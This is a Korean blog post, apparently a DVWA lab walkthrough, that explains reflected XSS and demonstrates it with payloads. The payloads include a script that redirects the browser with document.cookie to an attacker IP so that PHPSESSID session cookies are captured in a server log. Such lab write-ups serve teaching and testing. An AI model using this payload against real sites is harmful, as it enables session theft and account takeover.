1. Reflected XSS 공격 개요
리플렉티드 크로스 사이트 스크립팅 취약점은 요청 메시지에 입력된 스크립트 코드가 즉시 응답 메시지를 통해 출력되는 취약점이다. 입력된 스크립트가 마치 반사되는 것처럼 동작하기 때문에 붙은 이름이다.
[그림 1-1] Reflected XSS 공격 과정
[출저 : AhnLab Blog]
공격자는 사용자가 Reflected XSS 공격에 유도될 수 있도록 이메일, 게시판, SNS 등 공격자가 링크를 남길 수 있는 곳이라면 어디든 피싱을 한다. 사용자는 공격자가 걸어 놓은 악성 링크를 클릭하게 되면 공격 스크립트 코드가 삽입된 사이트로 이동되고 입력된 스크립트가 반사되어 그대로 웹 사이트에 출력된다. 웹 페이지를 읽은 웹 브라우저는 자동으로 스크립트를 실행하고 세션 쿠키를 공격자에게 전달한다. 세션 쿠키를 전달받은 공격자는 사용자의 권한으로 로그인할 수 있게 된다.
2. Reflected XSS 공격 실습
[그림 1-2] XSS 공격 구문
XSS 공격 구문인 <script>alert(1)</script>를 삽입한 후 Submit을 클릭해 웹 브라우저에 요청을 보낸다.
[그림 1-3] Reflected XSS 공격 실행
웹 브라우저에 요청을 보내면 곧바로 경고창이 실행된다. 이와 같이 스크립트가 응답되서 실행될 때 Reflected XSS 공격 취약점이 존재한다고 판단할 수 있다.
[그림 1-4] 쿠키 값 탈취 스크립트
웹 브라우저에 쿠키 값을 탈취할 수 있는 Reflected XSS 공격 구문을 삽입한 후 요청을 보낸다.
[그림 1-5] 쿠키 값 탈취
document.cookie 스크립트 코드로 인해 쿠키 값이 출력된다. PHPSESSID라는 쿠키는 php에서 생성된 세션 쿠키다. Reflected XSS 공격은 주로 세션 쿠키를 알아내기 위해 사용된다.
[그림 1-5] Redirect 스크립트
폼에 <script>document.location='http://192.168.171.172/cookie?'+document.cookie</script>를 입력하고 요청을 보낸다. document.location을 이용해 지정한 위치로 리다이렉트 시키는 스크립트다. 이 스크립트가 실행되면 웹 브라우저는 공격자의 호스트로 접속하게 된다.
[그림 1-6] 로그 검색
Tail 명령어를 활용해 파일의 내용을 확인한다. 웹 서버로 들어온 요청 정보가 기록되는데 DVWA에서 Reflected XSS 공격을 할 때마다 로그 파일에 로그가 계속 기록된다. 앞서 했던 쿠키 값을 탈취하기 위해 실행했던 document.cookie 스크립트와 함께 PHPSESSID 세션 쿠키 값도 모두 기록되어 있다는 것을 확인할 수 있다. Reflected XSS 공격은 사용자가 눈치 채지 못하게 공격을 해야 하기 때문에 사용자에게 피싱을 어떤식으로 하는지가 가장 중요한 관건이 된다.
'웹해킹 > DVWA' 카테고리의 다른 글
브루트 포스 공격 (0) | 2020.01.26 |
---|---|
Reflected XSS 공격 (2) (0) | 2020.01.21 |
Stored XSS 공격 (0) | 2020.01.21 |
CSRF 공격 (2) (0) | 2020.01.12 |
CSRF 공격 (1) (0) | 2020.01.12 |